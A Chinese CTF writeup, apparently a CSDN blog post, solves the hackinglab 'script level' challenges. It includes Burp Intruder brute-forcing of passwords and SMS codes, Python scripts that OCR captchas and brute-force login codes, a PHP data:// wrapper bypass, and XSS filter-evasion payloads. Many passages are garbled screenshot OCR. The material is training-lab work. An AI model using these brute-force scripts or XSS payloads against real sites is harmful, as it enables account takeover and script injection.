[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup



CryptWinter U 于 2021-01-15 17:24:29 发布 O 186 伦 收藏

分类专栏: CTF 文章标签: hackinglab CTF 脚本关 writeup

版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。

本文链接: <u>https://blog.csdn.net/dadongwudi/article/details/112639091</u>



C

CTF 专栏收录该内容

17 篇文章 2 订阅
订阅专栏
脚本关 1 key又又找不到了
关键字:
知识点:
步骤:点击提供的链接后,实际发生了两次跳转,key在第一次跳转的网页中,key is: yougotit script now

Cancel < | v > | v Go Target: htt Reque Response Raw Heade Hex Raw Headers Hex HTML Render HTTP/1.1 200 OK GET /xss1_30ac8668 453e7e387c76b132b140bb/search_key.php HTTP/1.1 Host: lab1.xseclab.co Server: nginx User-Agent: Mozilla/5.0 (V dows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Date: Fri, 15 Jan 2021 07:07:01 GMT Accept: text/html.application tml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: text/html 8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Language: zh-CN,zh;q Connection: close Via: 4335 Accept-Encoding: gzip, deflate Connection: close Content-Length: 94 Referer: http://lab1.xseclab.com/xss1 0ac8668cd453e7e387c76b132b140bb/index.php <script>window.location="./no_key_is_here_forever.php"; </script> Upgrade-Insecure-Requests: 1 key is : yougotit_script_now 🔻 🔂 xss1_30ac8668cd453e7e387c b index.php no_key_is_here_forever.php b search_key.php

脚本关 2 快速口算关键字:知识点: python基础1.python-正则表达式中(.)(/(.?)以及re.S的认识

2.eval()函数用来执行一个字符串表达式,并返回表达式的值。

3.

步骤:

import requests
import re
un] - 'http://lah1 vseclah com/vss2 0d557e6d2a4ac08h749h61473a075he1/indev nhn'
s= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
<pre>num=re.findall(re.compile(r' >\s+(.*?)='),r.text)[0]</pre>
#print(re.findall(re.compile(r' \s+(.*?)='),r.text)) #['6970*21290+48*(6970+21290)']
#print(re.findall(re.compile(r` \s+(.*?)=`),r.text)[0]) #69/0*21290+48*(69/0+21290)
result=eval(num)
print(result)
r=s.post(url,data={'v': eval(num)})
print (r.text)
脚本关3 这个题目是空的
关键字: null
步骤: null
脚太关 乍久就是不确出key呢?
大班士: P

知识点:代码审计。发现alert(), prompt()和write()函数都被新函数覆盖掉了。

步骤:

1.f12, 查看源代码, 变量a其实是一个匿名函数, 而且js里面也禁用了一些常用的弹出对话框的函数, 由于js是基于客户端浏览 器的

2.打开来新的页面 f12 控制台 粘贴a里面的内容



https://blog.csdn.net/dadongwud

slakfjteslkjsd

脚本关 5 逗逼验证码第一期 关键字: burp 爆破 重放 知识点: 步骤: 返回pwd error。重放,返回的还是 pwd error。由此可知验证码失效 1.burp 抓获 获得pwd error 的错误



2.右键send to intruder,设置相关参数,attack (可能出现Payload set 1: Invalid number settings)

POST /vcode1_bcfef7eacf7badc64aaf18844cc	db1c46/login.php HTTP/1.1		
Host: lab1.xseclab.com			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wir	n64; x64; rv:84.0) Gecko/2010010	01 Firefox/84.0	
Accept: text/html,application/xhtml+xml,applicati	ion/xml;q=0.9,image/webp,*/*;q=0	.8	
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.	.7,zh-HK;q=0.5,en-US;q=0.3,en;q=	=0.2	
Accept-Encoding: gzip, deflate			
Content-Type: application/x-www-form-urlence	oded		
Content-Length: 48			
Origin: http://lab1.xseclab.com	Send to Spider		
Connection: close	Do an active scan		
Referer: http://lab1.xseclab.com/vcode1_bcfef	Do all'active scall		
Cookie: PHPSESSID=647bcd5fd4edbb8e33788	Do a passive scan		
Upgrade-Insecure-Requests: 1	Send to Intruder	Ctrl+I	
	Send to Repeater	Ctri+R	



Targe	et Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Proje
10 >	: 11 ×	13 ×								
Targe	t Position	ns Paylo	ads optic	ons						
?	Payload You can d customized	Sets efine one o d in differe	or more paylon nt ways.	oad sets. Ti	ne number of	f payload sets	depends on	the attack typ	e defined in	the Pos
	Payload se	:t: 1		•	Payload	count: 9,001				
	Payload ty	pe: Num	bers	v	Reques	t count: 9,001				
?	Payload This payloa Number rai	d type ge	s [Number nerates num	rs] eric payloa	ds within a g	iven range and	l in a specifi	ed format.		
	Type:	- 1	 Sequent 	tial 🔵 Rar	ndom	1				
	To:		999]				
	Step:	- 1	1							
	How many	:								
	Number fo	rmat			_					
	Base:	L	 Decimal 	l 🔵 Hex	¢	最同	5 先点	Hex f	舌点D	ec
	Min integer	digits:								
	Max intege	r digits:								
	Min fractio	n digits:								
	Max fractio	on digits:								wudi

Target Positions Paylo: 🚯 Intruder attack 1 – 🗆 🗙	
Attack Save Columns	
Payload Sets Results Target Positions Payloads Options	Start attack
You can define one of customized in differer Filter: Showing all items	3
Payload set: 1 Request Payloant Status Error Timeout Length V Comment	
240 1238 200 320	
Payload type: Numb 0 200 . 306	
1 999 200 G 306	
2 1000 200 306	
Payload Options 3 1001 200 🗌 306	
This mutanta dama and 4 1002 200 . 306	
mis payload type gen 5 1003 200 . 306	
Number ranne 6 1004 200 . 306	
7 1005 200 . 306	
Type: 8 1006 200 306	
9 1007 200 306	
From: 10 1008 200 . 306	
To:	
San San	
Raw Params Headers Hex	
How many: POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1	
Host: lab1.xseclab.com	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0	
Number format Accept: text/html,application/xhtml+xml,application/xml,q=0.9,image/webp?/*,q=0.8	
Accept_Language: 2h_CN_2h_q=0.8,zh-1W(q=0.7,zh-HK(q=0.5,eh-US(q=0.3,eh(q=0.2	
Acceptencoung gap denae	
Min integer digits: Content - ype: application/x-www-ion-unencoded	
Origin http://dai/seelab.com	
Max integer digits: Connection: close	
Referer: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php	
Min fraction digts: Cookie: PHPSESSID=647bcd5fd4edbb8e33788e6746aab04c	

.

Max fraction digits:	I branch-Inserting-Menulester 1 ? + > Type a search term	0 matches	
Examples	Finished		

3.得到密码, repeater重修改密码, go一下得到flag

$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	rrijeci opilorita User opilorita Mietta
Go Cancel < ¥ > ¥	Target: http://lab1.xseclab.com 🖉 ?
Request	Response
Raw Params Headers Hex	Raw Headers Hex
² OST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/I.1 tost: Iabl .xseclab.com Jser-Agent: Mozilab.50 (Vinidows NT 10.0; Vin64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept-Language: zh-CN_zh:q=0.8,zh-TV/;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 48 Drigin: http://abl xseclab.com Connection: close Referer: http://lab1 xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php Cookie: PHPSESD=647bc64dedb8e33788e6746aab04c Jpgrade-Insecure-Requests: 1 Jsername=admine.pwd=1238; vcode=MC9D8submit=submit	HTTP/I.1 200 OK Server: rginx Date: Fri, 15 Jan 2021 09:17:06 GMT Content-Type: text/html, charset=utf-8 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revaildate, post-check=0, pre-check=0 Pragma: no-cache Via: 3832 Content-Length: 22 key is LJL.JL.789sdf#@sd
	https://blog.csdn.net/dadongwudi

PS:Payload set 1: Invalid number settings这是一个软件bug

Intruder Attack Configuration	×
Errors	
 Payload set 1: Invalid number settings 	
Ignore Go back http://	iddacidacharladdigig0019

如果点击start attrack 后出现 Payload set 1: Invalid number settings 的提示,先点hex 后点 decimal 再开始start attrack,需要手动让它刷新。

Targe	t Positions	Payloa	ls Options				
?	Payload Se	ts					
	You can define customized in d	e one or different	more payload s ways.	ets. The	number of	payload sets c	lepends on the attack type defi
	Payload set:	1		V	Payload	count: 9,001]
	Payload type:	Numbe	s	•	Request	count: 9,001	
?	Payload Op This payload ty	p tions pe gene	Numbers] rates numeric	payloads	within a gi	数字	- 会有变化 in a specified format.
	Number range		_	_			
	Туре:	(Sequential	Rando	om		
	From:		999				
	To:		9999				
	Step:		1				
	How many:						
	Number format	2	再点这	15	七点这	<u>×</u>	
	Base:	(Decimal) Hex			
	Min integer digit	ts:		K			
	Max integer dig	its:					
	Min fraction dig	its:					
	Max fraction di	gits:					

脚本关 6 逗比验证码第二期 关键字: burp 知识点:

步骤:

1.访问通关地址,输入任意的4位数字进行登录,返回pwd error,重放,返回的是vcode error。可知验证码验证一次即失效了

本关][2020] hackinglab 脚本关 writeup 51/100 发布文章 🔗	pwd error
Burp Suite Professional v1.7.37 - Temporary Project - 52bug Burp Intruder Repeater Window Hep Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project of 1 × 2 × 3 × 4 × 5 × 6 ×	options User options Alerts
Go Cancel Cancel Request Request POST Ncode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1 Host: lab1.xseclab.com User-Agent: Mozilla5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: Language: zh-CN_zh;q=0.8; zh-TN;q=0.7; zh-Hi{;q=0.5,en-US;q=0.3,er;q=0.2} Accept: Encoding: gzip, deflate Content-Type: application/x-wvwv-form-urlencoded Content-Turpi: Application/x-wvwv-form-urlencoded Content: http://lab1.xseclab.com Connection: close Refere: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php Concluic: PHSESSID=647bcd5fd4edbb8e33788e6746aab04c Upgrade-Insecure-Requests: 1	Target: http://lab1.xseclab.com Response Raw Headers Hex HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Jan 2021 10:29:44 GMT Date: Fri, 15 Jan 2021 10:29:44 GMT Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Via: 3831 Connection: Lose Via: 3831 Context Length: 11 vcode error
username=admin&pwd=1234&vcode=cmna&submit=submit	https://blog.csdn.net/dadongwudi

2.尝试删除vcode参数的值,重放,返回pwd error。



3.爆破得到pwd=1228,返回修改得到key: LJLJL789ss33fasvxcvsdf#@sd

Target F	Proxy Spider	Scanner	r Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts					
10 × 1	11 × 13 ×	14 ×													
Target F	Positions Pay	loads Options													
? Pay	yload Sets														Start attack
You	u can define one tomized in ditte	or more payload sets	. The number o	f payload sets	depends on	the attack typ	pe defined in	the Positions tab. \	√arious payload	types are av	/ailable for e	ach payload set, ar	id each payload type car	1 be	
000		one mayo.	_												
Payl	load set: 1		Payload	l count: 9,001											
Payl	load type: Nu	mbers	Reques	t count: 9,001											
			_												
D Par	vload Ontio	ne [Numbore]													
This	yioau opiio	is [ituinvers]	la a da contrata a		-1 in 14	a d farment									
This	s payload type g	enerates numeric pay	ioads within a j	given range an	a in a specifi	ar attack 2								_	
Num	nber range			- F	Attente Court										
Тур	ie:	💿 Sequential 🔘	Random		Attack Sav		γ)						
From	m:	999			Results	Target Pos	sitions Pay	loads Options							
To		9999			Filter: Show	ing all items									?
10.		3333			Request	Payload		Status	Error	Timeout	Length	V Comment			
Step	p:	1			230	1228		200			331				
How	w many:				J			200	U		306				
		TO NZA TZ		cimal	1 2	999 1000		200			306 306				
Num	nber format	书加好,		ecimai	4	1002		200			306				
Bas	se:	💿 Decimal 🛛 🔘	Hex		5	1003		200			306				
Min	integer digits:				5	1004		200			306 306				
	integer algite.				В	1006		200			306				
Max	< integer digits:				9	1007		200			306				
Min	fraction digits:				10	1008		200			306				¥
Max	c fraction digits:				Borruget	Boonange)		0		_		https://blo	g.csdn.na	et/dadongwudi
					request	Response									

脚本关7 逗比的验证码第三期(SESSION)

关键字: 重放 session burp

知识点:验证码发布的流程

- 1. 显示表单
- 2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie
- 3. 用户提交表单
- 4. 核对验证码无误、数据合法后写入数据库完成

用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了 但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当 然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不 考虑验证码,验证码形同虚设!

所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!

步骤:同第六题

脚本关8微笑一下就能过关了

关键字: php

知识点:

步骤:

http://lab1.xseclab.com/base13 ead1b12e47ec7cc5390303831b779d47/? =data://text/plain;charset=unicode,(•'-'•)

脚本关 9逗比的手机验证码 关键字: 知识点: 步骤: 1.查看源码



http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source 2.分析源码 考PHP伪协议

1.必须对"^_^"赋值 2."^_^"的值不能有 . % [0-9] http https ftp telnet 这些东西 3.\$_SERVER['QUERY_STRING'],即"^_^=(输入的值)"这个字符串不能有 _ 这个字符 4.满足\$smile!=0 5.file_exists (\$_GET['^_^'])必须为0.也就是\$_GET['^_^']此文件不存在 6."\$smile"必须等于"(●'▽'●)".也就是file_get_contents(\$_GET['^_'])必须为"(●'▽'●)"

仔细分析可以发现,第3点与第1点矛盾了

既要对"-"赋值,又得想办法去掉"-"中的"_"

那么可以采用Url编码变为"%5f".这样第3点就满足了.所以我们输入就应该为"%5f"

继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了

而第6点又要通过file_get_contents()取出\$_GET['-']里的值.

根据第5点,\$_GET['-']又必须不存在

所以\$_GET['-']只能是字符串"(●'◡'●)",不可能是文件名

那么file_get_contents()里的参数应该是啥呢,查了一下,发现data://完美符合.所以我们输入就应该为

"^%5f^=data:,(•'∪'•)"

data:,<文本数据>
data:text/plain,<文本数据>
data:text/html, <html代码></html代码>
data:text/html;base64, <base64编码的html代码></base64编码的html代码>
data:text/css, <css代码></css代码>
data:text/css;base64, <base64编码的css代码></base64编码的css代码>
data:text/javascript, <javascript代码></javascript代码>
data:text/javascript;base64, <base64编码的javascript代码></base64编码的javascript代码>
编码的gif图片数据
编码的png图片数据
编码的jpeg图片数据
编码的icon图片数据

3.打开链接 获取flag

 $http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^{\%5f} = data:, (\bullet `\cdot `\bullet) = data:, (\bullet `\cdot \bullet) = data$

参考链接: https://blog.csdn.net/qq_26090065/article/details/82503651

脚本关9 逗比的手机验证码 关键字:手机验证码处的逻辑漏洞 步骤:

访问通关地址,点击获取验证码弹出手机验证码是90	38
← → C ☆ ② 不安全 lab1.xseclab.com/vcode5_m	obi_5773f3def9f77f439e058894cefc42a8/#
你的手机号码是: 13388886666,请使用手机短信验证码 Phone: 13388886666 Vcode: 点击获取手机验证码 submit	lab1.xseclab.com 显示 手机验证码是: 9038
输入9038登录,提示 please login as 1338888666	7
	des_mon_s//sisders//ressecsooseceroezab/logm.php
于是将手机号码改为13388886667, 重新获取手机器 ← → C △ ○ 不安全 lab1.xseclab.com/vcode5_mm (m的手机号码号: 13388886666, 请使用手机短信验证码)	없证码, 结果提示 obi_5773f3def9f77f439e058894cefc42a8/#
Phone: 13388886667	lab1.xseclab.com 显示 手机验证码是:验证码为到别人手机上了 你看不到。
Vcode: 点击获取手机验证码 submit	Here:
于是尝试利用13388886666获取验证码,然后登录的 UULGod!@@sd	如时候用13388886667,结果竟然得到key:
于是尝试利用13388886666获取验证码, 然后登录的 LJLJLGod!@@sd ← → C ☆ ① 不安全 lab1.xseclab.com/vcod	的时候用133888866667,结果竟然得到key: e5_mobi_5773f3def9f77f439e058894cefc42a8/login.php

脚本关 10 基情燃烧的岁月 关键字:

知识点: 步骤: 脚本关 11 验证码识别 关键字: 知识点: 步骤: 1.查看原码 手机验证码需要

```
<<script>
    $(".getcode").click(function(){ var url="./mobi_vcode.php"; $.post(url,
        {'getcode':'1','mobi':$("#username").val()},function(data){ alert("验证码已经发送到您的手机! "+data); }); });
</script>
</!--
//今天听产品经理说手机验证码太长会导致远程定位用户不准确,真搞不懂他是怎么想的,不过现在就把把验证码改为了3个数字,从100到999,万恶的产品
经理!
    -->
</body>
</html>
```

2. 写脚本

python 2.7

```
coding: cp936
import requests
import image
import pytesseract
import re
url1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php'
url2='http://lab1.xseclab.com/vcode7 f7947d56f22133dbc85dda4f28530268/mobi vcode.php'
url3='http://lab1.xseclab.com/vcode7 f7947d56f22133dbc85dda4f28530268/vcode.php'
url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
#识别验证码的函数
def user code():
#获取图片验证码
   r = s.get(url3)
   with open('1.bmp', 'wb') as f:
       for chunk in r.iter_content(chunk_size=1024):
           if chunk:
               f.write(chunk)
               f.flush()
       f.close()
 #识别图片验证码
   im = pytesseract.image_to_string('1.bmp')
   im = im.replace(' ', '')
   #因为验证码识别不太准确,需要用正则表达式判断一下
   if re.match('[0-9]{4}',im) :
       return im
       return user_code()
s=requests.session()
#先给手机发送验证码,不然会出现"验证码还没发呢"
r=s.post(url2,{'getcode':1,'mobi':13388886666}))
#爆破手机验证码
for code in range(100,1000):
   hhh=user_code()
   print hhh, code
   data={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}
   r=s.post(url4,data=data)
   print r.content
   #得到flag就停止
   if 'error' not in r.content :
       break
```

python 3

#!/usr/bin/env python3 # Author: renzongxian

```
import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}
def vcode():
   # 验证码识别函数
   pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
   r = requests.get(pic_url, headers=header, timeout=10)
   with open(vcode_path, 'wb') as pic:
        pic.write(r.content)
    im = pytesseract.image_to_string(Image.open(vcode_path))
    im = im.replace(' ', '')
   if im != '':
       return im
        return vcode()
url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
   code = vcode()
   data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
   r = requests.post(url, data=data, headers=header, timeout=10)
   response = r.content.decode('utf-8')
    if 'user_code or mobi_code error' in response:
        print('trying ' + str(i))
        print('the mobi_code is ' + str(i))
        print(response)
       break
```

3.运行得到key is 133dbc85dda4aa**)

脚本关 12 XSS基础关 关键字: XSS 步骤: 1.F12查看网页源代码

```
http://lab1.xseclab.com//xssjs/xss_check.php
orgAlert = window.alert;
ok = 0:
var HackingLab="success!";
function newAlert(a) {
    window.alert = orgAlert;
    if (a == HackingLab) {
       if (ok == 0) ok = 1;
        alert(a):
        $. post("./getkey.php?ok=1", {'url':location.href, 'ok':ok}, function(data) {
                        console.log(data);
       }):
        showkey();
    } else {
       alert(a);
        alert("Please use alert(HackingLab)!!");
    }
}
window.alert = newAlert;
function showkey() {
//XSS题目要自觉.....无论如何都是可以绕过的,索性不加密不编码js了,大家一起玩吧.
       var url="./getkey.php";
    $. post(url, {"getkey": , function(data) {
        $("#msg").text(data):
   });
}
```

3.输入

<script>alert(HackingLab)</script>

2.看到xss,打开文件,就是输入alert(HackingLab)

脚本关 13 XSS基础2:简单绕过 关键字:XSS 步骤: 1.上一题的 payload 不能用了,会提示检测到,换一种方式 2.输入

成功弹窗,并得到key is: xss2test2you

脚本关 14 XSS 基础3:检测与构造 关键字: XSS 步骤:

过滤了各种关键字以及<>,但是没有过滤',这里构造'onmouseenter=alert(HackingLab)>,但是发现依然不可以,忽然发现用当 value的值后是alert时,后边不会被过滤,所以构造**alert'onmouseenter=alert(HackingLab)>**,因为onmouseenter事件在鼠标 指针移动到元素上时才触发,所以当我们把鼠标放在下面的框,即可得到key

脚本关 15 Principle很重要的XSS 关键字: xss 步骤: 1.思路 不断尝试 观察过滤情况 得到括号情况 javascript:alert(1) 被屏蔽

java	ascript:al	ert(1)			
jav	ascript:ale	ert(1))			
We	elcome	XS	S SCRIPT	DETECTE	D!!!	
			-	_		
_			-			63
R	● 査看	器	▶ 控制台	□ 调试器	↑ 网络	{}样式编辑
下 Q.搜	口 查看 索 HTML	器	> 控制台	▶ 调试器	↑↓ 网络	{}样式编辑
下 〇、担 〈h	口 査看 家 HTML tml>	器	▶ 控制台	▶ 调试器	₩ 网络	{}样式编辑;
CR Q.搜 <hr< td=""><th>● 查看 家 HTML tml> <head>…</head></th><td>器 <td>▶ 控制台 ad></td><td>▶ 调试器</td><td>↑↓ 网络</td><td>()样式编辑</td></td></hr<>	● 查看 家 HTML tml> <head>…</head>	器 <td>▶ 控制台 ad></td> <td>▶ 调试器</td> <td>↑↓ 网络</td> <td>()样式编辑</td>	▶ 控制台 ad>	▶ 调试器	↑↓ 网络	()样式编辑
CR Q.搜 <h< td=""><th>● 查看 索 HTML tml> <head>… <body></body></head></th><td>器 <td>▶ 控制台 ad></td><td>□ 调试器</td><td>↑↓ 网络</td><td>{}样式编辑</td></td></h<>	● 查看 索 HTML tml> <head>… <body></body></head>	器 <td>▶ 控制台 ad></td> <td>□ 调试器</td> <td>↑↓ 网络</td> <td>{}样式编辑</td>	▶ 控制台 ad>	□ 调试器	↑↓ 网络	{}样式编辑
CR Q. 想 くh	<mark> 中</mark> 査看 索 HTML tml> <head> ··· <body> ▶ <form a<="" th=""><td>器 <td>▶ 控制台 ad> n="" method</td><td>▶ 调试器</td><td>↑↓ 网络</td><td>()样式编辑</td></td></form></body></head>	器 <td>▶ 控制台 ad> n="" method</td> <td>▶ 调试器</td> <td>↑↓ 网络</td> <td>()样式编辑</td>	▶ 控制台 ad> n="" method	▶ 调试器	↑↓ 网络	()样式编辑
CR Q.提 くh	中 查看 读 HTML tml> <head> ↓ <form a<br="">Welcom</form></head>	器 ctio	控制台 ad> n="" method	▶ 调试器	t M络	() 样式编辑;
CR Q.搜 <h< td=""><th></th><td>器 ctio !</td><td>▶ 控制台 ad> n="" method "=""></td><td>▶ 调试器 ="POST"> ···· <</td><td>t↓ 网络 /form> og.csdn.ne</td><td>{}样式编辑</td></h<>		器 ctio !	▶ 控制台 ad> n="" method "="">	▶ 调试器 ="POST"> ···· <	t↓ 网络 /form> og.csdn.ne	{}样式编辑
C 提 C 提 ◆h	● 查看 家 HTML tml> <head>… <body> <form a<br="">Welcom <a href<="" th=""><td>器 ctio</td><td>▶ 控制台 ad> n="" method "=""></td><td>▶ 调试器 ="POST"> ···· <</td><td>↑↓ 网络 /form> og.csdn.ne</td><td>{}样式编辑</td></form></body></head>	器 ctio	▶ 控制台 ad> n="" method "="">	▶ 调试器 ="POST"> ···· <	↑↓ 网络 /form> og.csdn.ne	{}样式编辑

<>括号过滤情况为:

<被过滤(此处过滤指被删除)>正常

但是当两个符号一起出现时会被全部删除,包括中间的内容

这里就是个可以利用的绕过方式了

2. 尝试绕过 javascript:alert(1)

1.结果却被屏蔽,有以下两种情况:

2.1后端代码是先匹配删除掉括号再进行的关键词查找

2.2alter被屏蔽

2.测试下第二个情况

1 javasc <c>ript:al<c>ert(1)</c></c>	复制
页面显示正常	
提交查询 重置	
Welcome ! <u>Edit Profile(XSS HERE!)</u> Hint:	
查看源代码	
Welcome ! Edit Profile(XSS HERE!)	
可以看到正常插入进去了,我们点一下试试	
國文書與 重要	



可以看到正常执行了弹窗,那么构建payload

1	javasc <c>ript:al</c>	>ert(HackingLab)

	國交面前 重要
Welcome (<u>Edit Profile(XSS HERE()</u> Hint:	
	success
	Hispanickogesciles residences 74

3.其他情况

空格 的情况有点特殊,应该是正则表达但是也是可以绕过的 只要空格前面有字符就会被屏蔽 那么我们把空格放在第一个



Welcome !Edit Profile(XSS HERE!)

正常通过

那么试试是不是屏蔽了所有空格

1 test

\/torm>
Welcome !Edit Profile(XSS HERE!)

事实证明只会屏蔽第一个空格

那么构建如下payload

1 ' onmouseover=al<c>ert(HackingLab)>

参考: https://blog.csdn.net/Jacob12774/article/details/84778322

参考链接: https://www.cnblogs.com/renzongxian/p/5618631.html

参考链接:https://blog.csdn.net/qq_36119192/article/details/102719130